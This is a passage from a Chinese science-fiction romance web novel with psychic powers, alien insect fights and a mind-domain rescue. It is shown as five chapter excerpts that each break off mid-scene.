《你眨眼萌死他》 1. 杀虫 《你眨眼萌死他》全本免费阅读 精神文明时代,地球历公元893年9月16日晚9点,联盟第二大区曼城东区旷野上。 泛着青光的精神力铺开,极光似的笼罩着天空。 天幕之下,三层楼高的怪物被一圈圈青色泛光的绳结捆着。 怪物形似蜘蛛,却只有四条“腿”,每条腿都由三节组成,足有百米长,核心的躯干上遍布有数百个球状凸起。 青光绳索的尽头,高高壮壮的男人匍匐在地,衣服被浸湿了大半,勾勒出上半身健硕的肌肉曲线。 他喘着粗气,看起来累得不轻,脸上却尽是志得意满:“报告,目标已控制。” 一公里外的总控台,沈千峻一身黑衣,站姿笔挺,右手食指、中指和小指上戴着三枚戒指。 他额前碎发被风吹了起来,露出一双狭长凤眼,正闪着精光,紧紧盯着怪物的方向。 沈千峻旁边坐着一个碧眼帅哥,一头金发在夜色里都不显黯淡。 他比沈千峻矮了三公分,也没有沈千峻这么强的目视力,正通过追踪摄像观察战况,闻言眯了眯眼说:“收网。” 男人得了令,准备将怪物捆起来。 他加了把力准备把这大虫子捆起来,却发现绳索在加速收紧,身后怪物许是因为剧痛,发出了蜂鸣般的怪声。 这边,沈千峻瞳孔骤缩,他急速扬起大范围结界,一边向着那边吼:“别回头!往前走!” 可晚了一步。 人无法抗拒本能的肌肉反应,在发现绳索有异时,男人就已经回过了头。 沈千峻不耐烦地“啧”一声:“徐飞扬,我说你那又臭又长的战略课就教了他们送菜?” 金发帅哥徐飞扬正给他加固结界以防虫鸣溢出,被que得莫名其妙:“不是,关我屁事?” 然而他转个身的功夫,沈千峻已经没影了。 怪物躯干上的凸起此刻已经全部睁开了,上百只眼睛盯着眼前渺小的人类,蜂鸣声宛如眸中语言将人催眠。 那高大健硕的男人对上那视线,竟顷刻间失去了行动能力,神色从起初的愤愤变得恐惧,不过半分钟,已经一片迷茫。 捆住怪物的青光霎时消散,怪物重获自由,叫声更为尖锐,四肢张狂地在地上乱窜,其中一条腿高高抬起,锋利的尖端向着男人刺去。 电光火石间,看不见的力量划破虚空,更坚硬的利器从天而降,利落地斩断了他的一条腿。 怪物发出痛苦的鸣叫,却看不到任何目标。 不等怪物反应,利刃干脆地斩断了第二条。 数百只眼睛死死瞪着,却只看得到黑色残影。 接着是第三条,第四条。 怪物只剩下一个躯干时,沈千峻终于落在地上,怪物猛地合上了其中一个的眼睛。 那是他的命门。 只要命门不破,他就还能修复自己。 没有人能在数百只眼睛里发现这个地方。 没有武器能刺穿他坚韧的表皮。 没有…… 沈千峻勾了勾唇,“原来是这儿。” 怪物:……? 一道精神力打在怪物紧闭的眼球上,不痛不痒。黑影掠过,他面前的男人已不见踪影。 只剩躯干的怪物停下了蜂鸣,谨慎地观察着四周。 只有刚在被他硬控住的男人还躺在那儿,眼神空灵,似乎还没恢复神智。 怪物滚动着躯干往那儿去,吸食人类的血肉能帮助他更快恢复。 没了四肢的怪物只剩一个椭圆躯干,就着泥巴一路滚到男人面前,跟蜣螂别无二致。 它眼睛丛里横生出一道口子,探出一条细长光滑的舌头,缠住男人的手臂,舌头上细小颗粒开始释放毒素时,它终于感觉到了不对劲。 这人的皮肤扎不穿。 同一瞬间,青光化刃,精准凶狠地刺穿了他因捕猎而放松的防卫,破了他的命门。 恶心的眼睛尽数合上,男人一脚踢走,神色清明不见一丝茫然,嫌恶道:“头一回见外来种,没想到这么恶心。” 踱步而来的徐飞扬看见这一幕血压飙升,反手给了他一个大比兜:“干什么呢乔森!对珍贵的实验材料尊重点!” 当场被抓包,乔森尬笑着摸摸耳垂,转移话题:“徐队,我这算合格了吗?能进先锋队不?” “这得问你沈教官,”徐飞扬左右环顾,“他人呢?” 乔森眯起眼,黑色瞳孔变成了幽暗的青绿色。他指向东南方位:“这个方向,大约五公里的位置。额……” 徐飞扬纳闷道:“五公里?这附近五公里不就一个生活广场?他去那儿干嘛?” “啊,对。”片刻前杀虫不眨眼的乔森话音有点颤抖,“教官他,他吃着呢。” 徐飞扬疑惑:“吃什么?” 乔森:“……螃蟹。” 徐飞扬:“……” 沈千峻吃东西很快,螃蟹也不在话下。 二人赶到时他面前已经堆了四五个螃蟹壳和数不清的脚,十分慷慨地冲二人推了推只剩一只蟹的盘子,面无表情道:“来点?” 二人齐齐摆手。 服务员补上两套餐具出去后,徐飞扬就开始唠叨:“咱不说好了帮我抓虫,顺便给新毕业的孩子考个试。你这监考到一半跑了,就为吃螃蟹?” 沈千峻不接茬,“咔”一声撕了个蟹脚扔到乔森面前的盘子里。 “哥,那什么,我不大爱吃这……” 乔森脑中闪过他斩断怪物四条腿的场景,胃里直泛酸水,偏偏想说的话都在沈千峻的注视下咽了回去。 一米九的大汉往那一坐,磨磨唧唧地摆弄蟹腿,显得委屈巴巴。 徐飞扬笑了半天,看乔森快没得摆弄才说:“你沈教官出了名的护食,还不明白什么意思啊?” 乔森一愣,眼底喜色溢出,瞬间胃里酸水也不泛了,念叨着从此以后蟹腿就是他的信仰云云。 沈千找毫不掩饰嫌弃,打断他问:“我不来的话,你怎么确定命门位置?” 乔森狡黠一笑:“你一定会来。沈教官爱惜学员,徐教官爱惜机甲,我三岁进训练营起就知道了。” 徐飞扬一筷子扔过去,乔森侧身一躲,“说实话而已嘛,别破防啊徐队。” “知道你们每年训练损耗机甲多贵吗?!就你败家的沈教官!一年下来能……” “闭嘴。” “……哦。” 沈千峻看向乔森,平静地问:“如果我不来呢?如果我没有发现你带着盾,没有给出指出命门位置呢?或者再如果,我把这只虫杀了,你怎么办?” 乔森坚定地与他对视,“你来时候我手里盾已经捏起来了,那虫子刺破我盾的同时就会被反控。一旦他发现自己濒临绝境,我有把握在时效内找到命门位置,杀了他。” 沈千峻继续问:“原定计划是抓活样本,为什么设死局?” 乔森摇头:“意外。我准备这些只是有备无患,当时接到命令也只是想把他捆了。可那虫子突然开始发疯,要不是第一时间封闭听觉和视觉,我也险些着了道。” “难怪。”沈千峻走到一边的洗漱台洗手,搓着指缝,漫不经心地说:“难怪你完全没发现,那虫脚是冲你的开盾的手去的。” 乔森没明白他的意思,徐飞扬的通讯器响了,来电显示的是“杨楠”。 他刚接起,那边清亮女声便已响起:“老大在你旁边吗?杀完虫没?” “完事了,他洗手呢。”徐飞扬打开公放,“说吧,他能听见。” 沈千峻“嗯”了一声。 杨楠这才说道:“两个事儿,先说公事。我们诱捕这个π星人布的六个陷阱 2. 事故 《你眨眼萌死他》全本免费阅读 地球历公元893年9月16日晚6点,曼城大学工学院,高级机甲研究所,003实验室。 蓝色成像屏上写着三行字: ——博导:陈希 ——责任人:顾深浅 ——状态:使用中 不同于研究所上下的一片寂静,003实验室热闹得很。 顾深浅一身隔离服站在二楼,耳廓挂着内部通讯麦,面前是一整排的监控设备,密密麻麻跳动着各项数据,此刻都是健康的绿色。 而顾深浅正目不转睛地透过高密玻璃墙,观察楼下的战斗机甲。 黄色和橙红的不规则晕染下,机甲的头部张扬地斜着两根光线,像极了被火烧云和落日染红的天际。 左右肩上坐着一对风火轮,将这一身热烈捧到了极致。 人形机甲在模拟刚完成一轮测试,风火轮上飘着的火光慢慢淡下来。 顾深浅数着时间,直到机甲完全停止,终于勾起了唇。 她单手按着麦说:“动力测试结束,爆发提升30%,续航时间提升0.6秒。第四阶段数值测试合格,可以进入实战调试阶段。” 楼下模拟操作室响起一阵欢呼,通过通讯麦传到她耳中。 陶生年纪最小,脱力似的瘫在椅子里:“可算结束了,饿死我了。” 柏莎翻着白眼推他胳膊:“女士优先懂不懂?就一个椅子,给贝拉坐坐。” 被点名的小姑娘贝拉腼腆一笑:“没事的,一会儿就撤了。” 陶生吓唬她:“刚来不懂了吧。我们这位学姐是有名的顾扒皮,只要有口气都得干活。撤?不可能的。” 顾深浅笑着往更衣室去,乐道:“顾扒皮?行啊,那不用请你们吃饭了,又省我一笔。” 柏莎:“吃什么?今晚吗!” “明天吧,晚上我有事。吃什么你们定,”顾深浅幸灾乐祸,“反正都姐妹,陶弟弟又不去。” 陶生一跃而起,“我去啊!这我必须去啊!我不去你们得少多少乐子!” 顾深浅:“那我没招,顾扒皮怎么能请你吃饭呢?人设都崩了。” “什么顾扒皮!不认识!姐!你就是下凡的仙女!就是我的神!” 顾深浅恶心得够呛,只让他滚。 贝拉在边儿上咯咯笑,一边的柏莎·八卦起来:“学姐,晚上约了人啊?” “嗯。” “yoooo,有情况。” “滚。”顾深浅笑骂了句,最后换完鞋,“陶生你明天有学长的课吧?明天聚餐喊他一起。我先走了。你们别太晚,结伴走,注意安全。” “好嘞。” 她摘下耳麦,隔绝了操作室的欢声笑语,脸上笑容也逐渐淡去。 换下隔离服的顾深浅白T恤牛仔裙,随手拎着个帆布包,包带子上系着一枚白玉坠子,隐约可见海浪刻痕。 看上去清爽又干净。 剩下三人结伴出来,顾深浅走得只剩一个背影。 新到实验室的贝拉感慨:“顾学姐,简单的穿搭在她身上都大气起来。” 柏莎叹气:“能不大气嘛,那件T恤都够我一年生活费了。” 陶生打了一半的哈欠卡在原地,目瞪口呆:“夺少??你说夺少??!” 柏莎捂着耳朵,嫌他丢人。 陶生消化了一轮还是不解:“不对啊,学姐真这么富,戴个白玉挂坠咋还买假货?” “那个啊,”柏莎说,“可能因为是陆离学长送的吧。” 贝拉八卦地探脑袋:“学姐和陆离学长……?” 陶生翻了个白眼:“没影的事儿,别瞎说。” 顾深浅对这一切毫无所知,越逼近目的地心里越躁。 她下意识摸了摸耳垂上精致的海浪耳钉,微型通讯仪触发,仅本人可见的光屏投射眼前,屏幕上还是她刚才没关掉的信息栏。 解思涵:【今晚六点半,学校人工湖见。】 她抿了抿唇,走了进去。 曼大十月才开学,这两天只有有项目的学生在,这会儿又是饭点,人更少了。 顾深浅提前到了二十分钟,却不想解思涵来得更早。 她就坐在湖边长椅上,听到她的动静,回过头展开清浅的笑容。 “好久不见,顾深浅。” 顾深浅错愕了一瞬,旋即笑开,大大方方坐在长椅另一端,“还以为你不认得我。” 解思涵说:“怎么会。第一次线下赛就记住你了。” 顾深浅会心一笑。 解思涵说的是她15岁时参加的新青年科技创意大赛。 那是顾深浅第一次参加线下比赛,瞒着家里人,只有外公知道。 她紧张得戴了两层口罩,又戴上了外公专门为她做的银色假面,才敢挺起腰板出门。 结果被无情地拦在了赛场门口。 因为银制品不得带入赛场。 顾深浅本人也很震惊,谁能想到外公直接给她做了个纯银面具。 他们纠缠了半天无果,时间紧迫,顾深浅只能把面具寄存主办方,惴惴不安地“只”戴着两层口罩进了赛场。 等候厅早已坐满了人,唯独第一排的位置空空荡荡,只有一个跟她差不多大的女孩儿坐在那儿。 顾深浅几乎没犹豫,坐到了第一排的另一边。 大概是这位置太孤儿,女孩儿歪头瞧她,发丝斜盖住了一半的眉眼,堪堪对上了顾深浅来不及遮掩的仓惶。 她唇角弯起柔和的弧度,对顾深浅轻轻点了点头。 那弧度与解思涵唇边的笑重合,而此刻她正不疾不徐地给顾深浅讲故事。 “我刚出生时,百日宴上抓周,听说是抓了个碗。所有人都说恭喜,说这孩子富贵一辈子,吃穿不愁,顺顺利利,我父母很高兴坏了。但还有一种说法,说我注定要吃解家这碗饭。” “你应该也知道,我们家是靠着家政机器人发的家。我爷爷,曼大机甲研究所所长,奶奶经营的企业是家政机器人行业龙头。从小我就被作为家族接班人培养,所有人都夸我天纵奇才,生来就是干这行的。” 顾深浅点点头,解思涵说这些只是陈述事实。 民籍中的顶尖A级精神力,自小穿梭在各式机械实验室。每次的线下赛都能站上领奖台,解思涵的优秀有目共睹。 “我众星捧月地被宠大,都被宠飘了,直到遇见陆离。” 顾深浅偏过头。 解思涵提到陆离时眉眼都透着温柔,却隐约带着阴霾。 “小时候,爷爷讲的很多机甲原理都听不懂。爷爷觉得欲速则不达,就给我布置了一个开放实验。呵,亏他想得出来,我那会儿才十岁。” “我在实验室愁眉苦脸的小半年都没结果,他也不许人帮我。我脾气上来了不肯再去,后来是被妈妈哄回去的。可我回去时候,那个开放实验已经被完成了。” “起初我以为是爷爷,看实验日志的时候才发现不是,压根就不是爷爷会用的手法。那个人不仅帮 3. 救人 《你眨眼萌死他》全本免费阅读 春藤医院共计33层,30层往上是VIP专区,顶楼不对外开放,就连医护人员都是独立团队。 而此时此刻,这个独立出来的团队正汇集在001病房里,他们环绕在病床周围,只有一人坐在床边,胸口挂着牌,写着“顾明朗”。 他紧锁着眉头,蓦地睁开眼,双手扶住床沿大口喘粗气,额头上冷汗沿着下颌线垂落手背。 足足过去了一分钟,气息才稍稍平缓,他缓缓地摇头。 “她的精神领域处于极度暴走状态,外围都是风刃群,我才靠近一步就被卷进去了,险些出不来。”顾明朗环视一圈,“沈先生还没到?” “笃笃——” “不好意思,迟到了。”叩门声响起,金发男人站在门边,礼貌地说:“各位医生请先回去休息吧。” 几人面面相觑,其中自以为轻声地说:“这好像是,联安署的那位,你知道的。” “还能是谁?能上顶楼的,有几个金发?” 徐飞扬笑容加深,却不说话。 顾明朗说:“安排了值班的正常上班,其他人都回去歇着吧。” 众人这才乌泱泱散去,病房里只剩他二人,顾明朗没动,迟疑地问:“您是沈先生?” 徐飞扬侧身关门,原本空无一人的室内乍现一个黑衣男人,比徐飞扬还高上五公分。 他朝男人扬扬下巴:“他是。” 顾明朗惊讶了一瞬,随即礼貌点头,让开病床的位置,“这就是顾深浅,我和一兰的女儿。” 病床上是二十岁模样的小姑娘,漂亮的柳眉紧蹙。双手紧紧握成拳,身体轻微颤抖着。 看着就遭罪。 沈千峻径直走到病床边,一抹精神力探入,还没靠近就被顾深浅精神领域外的风刃吞没。 这对于任何一个精神人类而言,疼痛感无异于割肉。 沈千峻却眼都没眨,只是挑了挑眉。 他的目光落在女孩精致的五官上,默了默,眼底竟出奇地闪过一丝笑意,“这丫头。” 顾明朗紧张地问:“她情况怎么样?能救吗?” 凶得很,会咬人。 沈千峻说:“要看她愿不愿意向我求救了。” 徐飞扬“啧”了一声,直觉他没说出口的话更贱。 不放心自家老大那张嘴,徐飞扬抓紧赶人:“顾院长也先请回吧。结束了我让人通知您。” 顾明朗干了多年的医生,不至于这会儿非赖着,十分利落地出去了,走前还不忘带上门。 然后…… 走出两米的顾院长悄悄回过头,扒着门口的圆形玻璃,紧张地想看看里面的情形。 然而眼前白光一闪,顾明朗望进去尽是苍茫,没有一丝声响。 这是徐飞扬的结界张开了。 病房内,徐飞扬说:“这次铺了三层结界,管牢。” 沈千峻嘲讽一笑:“但愿。” 下一秒,强悍的精神力蓦地铺开,覆盖了整间病房。 病房里的两个摄录仪瞬间碎了。 片刻前徐飞扬信誓旦旦说坚不可摧的三层屏障,接连碎了两层,第三层也堪堪剩了张皮。 徐飞扬低声骂了句,立刻凝神加固。 以防万一,他又在病房外也套了一层结界。 确认准备就绪,徐飞扬才坐到沈千峻边上,二人一同化为灵体形态,进入了顾深浅的精神领域。 “套个盾。”沈千峻突然说。 徐飞扬照做,而后纳闷道:“稀罕了,打架时候都没主动让我套过盾。” 沈千峻没搭理,他们逼近到顾深浅精神领域门口时,个中真相就揭晓了。 二人在安全距离外停下,前方是一团正处于沸腾状态的白团子,团子外围看似平静无波,实则遍布着急速流动着元素。 便是顾明朗刚才所说的风刃群。 徐飞扬不信邪,作死地放出精神力试探。下一秒便被锐利的风刃绞成了碎片,疼得他龇牙咧嘴。 他一边疼得说不出话,一边后怕地加固二人身侧的防御盾,好半晌才恢复过来:“这也太凶了。” 沈千峻哼笑一声,毫无惧色向前走。 数不清的风刃打在他们周围的屏障上,发出一下下闷响,徐飞扬咬着牙一路加固。 沈千峻在他背上拍了拍,徐飞扬的脸色才好看起来。 这就又有了抱怨的力气,“你他妈自己盾这么牢,非得我……” 沈千峻默默移开手。 徐飞扬:“……我错了哥。” 终于穿过风刃群,徐飞扬松了口气,又絮叨起来:“不怨孟一兰找你。就这架势,放眼整个联盟的精神医师,估计也就生物研究所,还得是总部那几个,才能进得来。但要是真闹那么大动静,总理会就会知道,曼城藏了一个SSS级,档案还是你让我改的。嚯,那岂不是又抓到你危害社会的把柄?” “闭嘴。”沈千峻烦躁道,“一个没有共感的SSS,还不如普通人。” “从总理会的角度看,她也是极为稀有的研究材料。” “研究什么?如何封闭自身精神力?” “……”徐飞扬耸耸肩,“也是哈。” 二人穿过漆黑的外层,真正要踏入顾深浅的精神领域时,沈千峻竟有种久违的熟悉感。 他抬手虚虚一握,还没觉察出什么,便为眼前的景象一惊。 入目所及皆是黄土,沙尘迷眼,遮天蔽日。遍地都是残垣废墟,横七竖八地堆积着建筑废料。 而他们的目标,正双臂环膝坐在废墟里,双眸没有一丝神采。 沙尘已堆至她膝下,她好似没有感知,任凭砂砾如何捶打,也只是坐在那里。 就好像她天生就在那里,唯一的使命就是等待着黄土将她埋葬。 “虽说每个人的精神领域各不相同,但大多都是根据心性和经历所化。她一个小姑娘,得经历过什么才会有……这样的精神领域?而且……” 而且这里的景象,几乎一下将他带回了久远的可怖记忆。 沈千峻罔若未闻,他在小姑娘面前蹲下,说:“想出去吗?” 没有反应。 沈千峻又说:“求我,我带你走。” 依然没有反应。 徐飞扬有点无语了,正要开口,沈千峻却站了起来,听上去有点遗憾地说:“那没办法了。” 沈千峻手掌覆在小姑娘头顶,澎湃的精神力倏地张开。 与刚才病房里的试探不同,此时的精神力处处透着可怖的森森杀意,凌厉而霸道。 徐飞扬匪夷所思。 这个男人,他是真的在别人的精神领域对别人的灵体产生了杀意? 他发癫吗?! 徐飞扬被他威压的余波压得喘不过气,默默退开了几步,忽然明白了。 这个精神领域已经毫无生气,沈千峻是想让她处于濒死状态,激发人类本能的求生欲,才有可能拉她一把。 想通了这点,徐飞扬一点不紧张了,索性观察起四周。 刚进来他就发现了,这里的景象和灾厄时代非常相似,就好像主人亲眼见过那段时期似的。 也许是因为这层,徐飞扬觉得,顾深浅的精神力也与他记忆中的人十分相似。 徐飞扬伸手想摸一摸就近的建筑残垣,不远处的沙群里却忽然冲起了一卷沙尘。 他心下一惊,回头看去。 顾深浅双眸依然空洞,却正落在沈千峻身上。 本就处于暴走状态的精神领域在沈千峻的冲击下更为震荡。 霎时间黄沙漫天,十二轮沙尘平地卷风炸起,气势通天地将三人包围。 徐飞扬眼疾手快就要落下结界,却被沈千峻以眼神制止。 沈千峻厉声说:“醒来。” 小姑娘却没有一点听话的迹象。 这不应该。 徐飞扬惊讶,沈千峻带着精神力的命令对精神人类有绝对控制权,可似乎对这人没用。 风卷狂沙起,飞舞的砂砾似是找到了宣泄口,聚焦着力量,登时汇集成沙海,直直向沈千峻撞去。 他岿然不动,蓄力到沙海即将冲上的刹那,徐飞扬已到他身侧,倾注着二人精神力的防御结界达成,坚不可摧。 沙浪席卷之处,建筑废料被撞击得更为破碎。 飞卷的狂沙中裹挟着零星却坚硬的砂石,一次次狠狠撞向他们的结界。 饶是徐飞扬堂堂防御系SSS级选手,结界领域代表人物,也少见这样蛮力破局的。 能撼动他和沈千峻联手搭建的防御结界的,更是闻所未闻。 徐飞扬愈发吃力,沈千峻提醒他:“专心点。” 狂沙对这两个卷不走的钉子户不满到了极限,比刚才任何一次都更狠的力量碰撞来,三人精神力汇集一处,力量暴起,天昏地暗。 黄土砂砾,残垣废墟全都消散,周遭一片漆黑,只有三个散发着微末光亮的灵体。 顾深浅终于不是蹲着了,她站在沈千峻前面,眸中依旧没有神采,紧握的双拳却表达了主人的心绪。 沈千峻打量 4. 入梦 《你眨眼萌死他》全本免费阅读 好冷。 刺骨寒意蔓延全身,冰冷罡风无情地打在顾深浅身上,她意识尚且模糊,便被硬生生冻醒。 同时感受到的,还有心头满登登的绝望悲切,压得她喘不过气。 她很久没有过这么激烈的情绪了,而这次甚至不知道缘由。 顾深浅费劲地掀开眼,暗夜笼罩着旷野,四下皆是起起伏伏山坡,遥遥相隔的两座高山上,各自矗立着耸入天际的灯塔,亮起的塔尖是地面仅有的光源。 天上不见月色,一条暗绿色星河横亘在中间,大大小小的星宿铺满了夜幕,此时正飞速从顾深浅头顶划过。 ……等等,这星河移动得也忒快了! 不对!不是天上星河在动,是这厉风在将她往后推! 随着五感逐渐复苏,她涌上一阵不好的预感,一张柔美慈爱的脸庞浮现在顾深浅的脑海中。 顾深浅分明不曾见过,却意外感觉熟悉。 她的身体反应更是直观,浑身抖似筛糠,霎时便红了眼。 脑海中,女人虚弱的声音响起: “我们玩一个游戏好不好?” “安安和妈妈比赛谁能先到那架蓝色的飞船上。” “但是安安要答应妈妈,不管发生什么,都不能回头。” 安安? 顾深浅双手按着疼得近乎撕裂的额头,才发现这双手尺寸格外迷你,实在不应该属于一个成年女性。 随着意识的愈发清醒,她清晰地感受到这具躯体的变化,一股温暖的力量在体内慢慢觉醒。 顾深浅的五感逐渐超越常人的极限,她视线内的灯塔出现了第三个,第四个…… 而耳边除了猎猎风声,渐渐传来她不曾听过的语言,仿佛充斥着怒气的咒骂。 隐约地,夹杂着女人隐忍的闷哼。 再近一点! 再听清一些! 顾深浅从心底渴望着,想要看一眼发生了什么。 只要不是那张脸…… 千万别是那张慈爱的脸。 五感随心动,顾深浅的视线很快到达。 巨大的四脚怪物围成一群,顾深浅看到了中间倒在地上的女人。 正是她脑海中的那张脸,只是看上去更狼狈了。 令她意想不到的是,女人好像也能看她似的。她艰难地扬起嘴角,唇瓣无力地动着,却没能再发出一丁点声音。 动作那么细微,顾深浅却看懂了。 她说的是,“快走。” 怪物们却似乎被这个笑容激怒了。 距离女人最近的怪物忽地朝天发出扭曲的嘶吼,那蜂鸣般的声音扎得顾深浅听觉骤减,视觉仍死死不肯退。 她看着那只怪物举起利爪,凶猛地扎向女人。 电光火石间,女人手微微抬起。 她能躲开! 顾深浅瞳孔骤缩,心率加速地注视着女人。 几乎是毫秒间,顾深浅不肯退走的视觉被无法抵抗的力量打回原位,连带着这股劲儿一起打进了她的身体。 她的所见所感回到一片死寂的旷野,正被罡风推往未知的地方。 女人的身影蒙着一层光晕出现在她面前,脸上依然是那样柔和的笑意。 “藏起力量,活下去。” “妈妈爱你。” 不等顾深浅有任何回应,光晕化作无数尘埃,消逝四散。 “妈妈……妈妈!” 她可以躲开的,却用最后的力量赶走了顾深浅。 眼泪直直垂下,顾深浅不知这短胳膊短腿是哪来的力气,迎着罡风拼命向前奔跑。 可纵使奋力挣扎,这小小身躯在滔天飓风下依然不值一提。 凌厉的风打在顾深浅脸上,她仿佛没有知觉般,一股脑地向前跑。 比起□□的疼痛,那绝望的无力感几乎要把她撕裂。 让我救救她……拜托…… 顾深浅在凛冽风间不断地奔跑,绝望一点点蔓延,步履愈发沉重,意识也愈发模糊。 她的可见范围越来越小,最终汇集成一个光点,湮没在黑暗中。 阖上眼的瞬间,她没来得及看见,明暗交界之处,一闪而过的暗紫。 意识再度恢复之时,顾深浅依然在奔跑。 四处满是破损的建筑,两只黢黑的鸟雀站在被劈成两半的屋檐下,冷眼看着她。 顾深浅怔了怔,看向这具身体的手脚。 很好,这次尺寸正常了。 不过…… 比起常年跟金属打交道的顾深浅,这双手有点过于白嫩了。 这环境比刚才好一些。却也充斥着压抑与窒息。 顾深浅随着身体第三次灵巧避过建筑群里凸起的尖端,一路上时不时小心翼翼地回头张望,直到确认没有人在追她时,体能也几乎耗尽了。 她停在一个犄角旮旯,气喘吁吁地蹲下,忽地“噗嗤”一笑。 纤长五指捂住心口,泪水毫无征兆地砸在满是碎石的地面上。 顾深浅轻轻抚上悬着的半截断裂墙体,喃喃道:“这就是你拼死也要送我来的地方。” 我……是谁? 不等多想,她头却痛起来,于是一手按着脑袋,扫开碎石坐下。 片刻后,顾深浅呼吸了一口自由的空气,五感放大。 她的力量被压制着,五感所及范围并不广,目之所及除了一座重兵把守的研究所外,皆是断壁残垣。 就连周围的活物也仅剩下那两只黢黑的鸟雀,绿植都无一幸存。 鸟雀栖息的屋檐下,房子已被炸剩下一半,唯独框架还能看得出这小别墅原先的模样。 屋内墙上挂着的旧照,如今也只剩一个角堪堪支撑着,相框玻璃稀碎,里面的照片倒尚且完整。 那是一家三口的合照,笑容幸福又快乐。 顾深浅心头一动,精神力自她指尖溢出。 不多时,那半壁屋檐下竟出现了照片上三人的身影。 他们一起做蛋糕,吃晚饭,看电影,玩桌游……一段段洋溢着欢乐的图景飞快重塑。 而下一秒,猝不及防的弹药从天而降,挡在母子身前的男人死无全尸。 亲眼目睹男人断气的母子尚且来不及悲伤,母亲迅速带着孩子逃亡,却迎面撞上了一群四角怪物…… 顾深浅心头一痛,挥手间,那里依然只有两只冷漠的鸟雀。 好好的一片土地,如今已不见一丝活气。 她颓丧无力地靠上背后岌岌可危的墙体 5. 混沌元素 《你眨眼萌死他》全本免费阅读 顾深浅的精神领域一片漆黑,唯独沈千峻紫色灵体一动不动。 徐飞扬站在一边,外围隐约可见朦胧雾色,那是他的盾。 而此刻徐飞扬正小心翼翼地试图把混沌元素清理掉,却再次失了手。 人类精神力源于对自然中元素的感知,而混沌元素却并不同于此。 这是一种人为制造的恶性道具,联盟明令禁止的禁品。 这玩意儿专从人类大喜大悲的记忆下手,放大人类的极限情绪,制造记忆混沌,致使人类情绪崩塌,有可能引发精神力溢出。 得到了及时的安抚救治不会有事,可如果没有,不到24个小时就会脑死亡,继而□□死亡。 会出现在这里,必定是人为投放。 徐飞扬是沈千峻的奶妈和盾牌,却对沈千峻的精神领域爱莫能助。 这么多年来,除了织梦能在沈千峻准许下做一些必要的安抚外,没人能进入他的精神领域。 即使沈千峻已经是灵体状态,徐飞扬也只能靠着一点点引出混沌元素曲线救国。 效果还不咋样。 他跟这些混沌元素斗智斗勇了一小时,连个尾巴都没抓出来。 屡战屡败的战况让他出离愤怒,徐飞扬骂骂咧咧:“王八羔子!混账东西!敢算计沈千峻,真当老子就没办法?” 要说好办法,他一时半会儿确实没有,但要论馊主意,徐飞扬从来不缺。 他薅了薅自己的小金毛,纠结了三秒,自言自语:“顾深浅精神力溢出,我俩联手还能安抚,可如果你栽了,我……啧,所以……” 话音戛然而止,长达一分钟的寂静后,徐飞扬长长地呼出一口气。 “所以冒点险,你也能理解的,吧。” 并没有任何回应,徐飞扬一拍大腿:“得嘞!这就说好了!” 他单方面和沈千峻达成共识,当即开始行动。 徐飞扬屏气凝神,周围的雾色渐渐变实,是和乔森相似的青色,却更浅一点。 正是徐飞扬的治愈力。 他以纯净的治愈力量构建独立空间,且还在不断扩大。 治愈力所过之处,势不可当地驱散了黑暗,温和却强势地靠近紫色灵体。 徐飞扬勾了勾唇:“爸爸来救你啦!” 然而沈千峻精神领域里的实际状况,跟徐飞扬想象的略有出入。 夕阳的余晖照暖大地,海浪拍打着礁石,波光粼粼的海面上盘旋着三五成群的海鸥。 有一男一女并肩坐在礁石上,涨潮下海浪越来越高,逐渐拍湿了女孩的赤着的脚。 女孩看上去十五六岁,她不仅没有反感,还伸直了双腿,盼望着用脚丫子和海浪鼓个掌。 男人看着沉稳得多,此刻表情也很放松。 他小臂撑在身后,看似安静坐着吹风,余光却始终锁在女孩身上。 见她一点没有收回脚的意思,男人才懒洋洋地提醒:“小心着凉。” 女孩满不在乎地耸耸肩,转而问道:“π星退兵了,你之后有什么打算?” 打算在这海边给你造个别墅。 男人挪开了视线,简练地说:“养老。” 女孩笑了笑“闹呢?联盟风头正盛的少年将军,地球唯一一个精神人类。他们才不会放你走。” 男人不赞同地说:“你也是精神人类。” “我?呵。” 女孩轻笑了一声,却并没有自嘲的意味。 就好像是沈千峻说了什么好笑的事,而她只是应景地笑了。 腥咸的海风带着潮意,女孩刮了下脸,忽然说:“保护好自己,沈千峻。” “你在,没人敢动我。”沈千峻转过头,正对上女孩被夕阳映红的侧颜,她刮脸有点用力,泛起了红印。 他顿了顿,解释道:“留在军部,会死得更快。” 女孩闻言侧首,正对上沈千峻深邃双眸。 沈千峻在前仆后继的海浪中,听到了自己的怦然心跳。 他的上半身不自觉倾过,二人的距离逐渐靠近。 双唇即将贴上时,纤长食指轻轻抵上沈千峻的唇。 女孩目光流转,问道:“如果你死在我手里呢?” 沈千峻弯了眉眼,“最好是你。” “你不会想说你甘之如饴吧?” “我求之不得。” 沈千峻凝望眼前女孩的视线带着一丝微妙的眷恋,正要说话,耳边却忽地嘈杂起来。 骤然间,沈千峻听不清女孩在说什么,也不知道自己上下翻动的嘴皮说了什么。 夕阳映得氤氲的海岸一点点被淡青色光辉笼罩,沈千峻的五感也跟着一点点被麻痹。 他看到的最后一幕,女孩化手为刃,利落地插入他的心口,脸上带着他从未见过的笑容。 释然又悲伤。 紧接着,女孩的身躯化作星星点点,消逝不见。 他已经数不清这是第几次了,眼睁睁看着她不见,他却没有任何方法阻止。 甚至不明白为什么。 …… 真是无能啊。 沈千峻一动不动地伫立在原地,半晌,他胸膛小幅振动起来,嘴角溢出桀桀笑声。 两道黑雾从他原本明亮的双眸中膨胀而出,被青色笼罩的精神领域里,他的灵体已完全被混沌元素占据,再不见一点紫色。 顾深浅的意识一直在女孩身上,直到女孩消散才埋入青色背景中。 她连灵体都是头一回见,更没见过灵体变色,当即扭头就要跑。 不动弹不要紧,这一跑却恰恰露了行迹。 沈千峻一下就注意到了她,一道接一道的精神力纷至沓来,顾深浅恐惧得汗毛直立。 出乎意料的是,黑化的精神力却什么都没做,只是柔和地将顾深浅包起来,严严实实笼住,隔绝外界。 黑暗激发惧意。 顾深浅本来胆子就小,人工湖边的场景还历历在目。一陷入黑暗,恐惧再次一股脑涌上。 也就没有发现,沈千峻被侵占的灵体锁住了她后,正在逐渐恢复紫色。 感受到她的颤抖,沈千峻笼着她的力道松开了一些,青光透进的刹那,顾深浅铆足了劲推开他,飞快地跑走。 自由不到一秒,她再次被拽住了。 这一次力量不再柔和,灵体再次黢黑,不见紫色。 沈千峻被她逃走的举动彻底激怒了,用十成十的力气箍住她,阴恻恻地说,“不可能再让你离开。绝不。” 